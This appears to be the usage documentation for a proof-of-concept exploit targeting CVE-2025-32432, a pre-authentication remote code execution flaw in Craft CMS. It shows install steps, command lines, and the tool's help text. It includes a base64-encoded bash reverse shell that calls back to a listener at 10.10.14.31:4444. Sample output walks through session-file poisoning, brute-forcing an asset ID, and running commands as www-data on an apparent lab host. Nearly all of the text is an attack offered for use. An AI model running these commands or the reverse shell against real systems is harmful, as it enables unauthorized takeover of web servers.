pip install requests urllib3

python3 exploit.py -u http://target.com -c "id"

# Start listener on your machine
penelope -p 4444

# base64 encode the payload
echo 'exec bash -i >& /dev/tcp/10.10.14.31/4444 0>&1' | base64


# Run exploit
python3 exploit.py -u http://orion.htb -c "echo 'ZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjMxLzQ0NDQgMD4mMQo=' | base64 -d | bash"

python3 exploit.py -u http://target.com -c "whoami" -a 11

python3 exploit.py -u http://target.com -c "id" \
  -s "/tmp/sess_{}"

usage: exploit.py [-h] -u URL -c COMMAND [-a ASSET_ID] [-m MAX_ASSET]
                                [-s SESSION_PATH] [-q]

CVE-2025-32432 Craft CMS Pre-Auth RCE Exploit v2

options:
  -h, --help            show this help message and exit
  -u, --url URL         Target URL (e.g., http://target.com)
  -c, --command COMMAND
                        Command to execute
  -a, --asset-id ASSET_ID
                        Known valid asset ID (skip brute-force)
  -m, --max-asset MAX_ASSET
                        Max asset ID to brute-force (default: 300)
  -s, --session-path SESSION_PATH
                        Session file path template (default: /var/lib/php/sessions/sess_{})
  -q, --quiet           Suppress verbose output

$ python3 exploit.py -u http://orion.htb -c "id"

╔══════════════════════════════════════════════════════════════╗
║  CVE-2025-32432 Craft CMS Pre-Auth RCE PoC v2              ║
║  Target: http://orion.htb                                  ║
║  Command: id                                                  ║
╚══════════════════════════════════════════════════════════════╝

[+] Stage 1: Getting session cookie and CSRF token...
[✓] Session ID: q6458g6g8njeimu59n9l65cu1e
[✓] CSRF Token: ofuxX9FLAA7gSDxLqxYtJGLZVHpPCm...
[+] Stage 2: Poisoning session file with PHP code...
[+] Poison request returned: 200
[✓] Session file poisoned
[+] Stage 3: Brute-forcing asset ID (1-300)...
[✓] Valid asset ID found: 1 (HTTP 200)
[+] Stage 4: Triggering RCE via PhpManager gadget chain...
[+] Target session file: /var/lib/php/sessions/sess_q6458g6g8njeimu59n9l65cu1e
[+] Trigger request returned: 200
[✓] COMMAND OUTPUT:
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================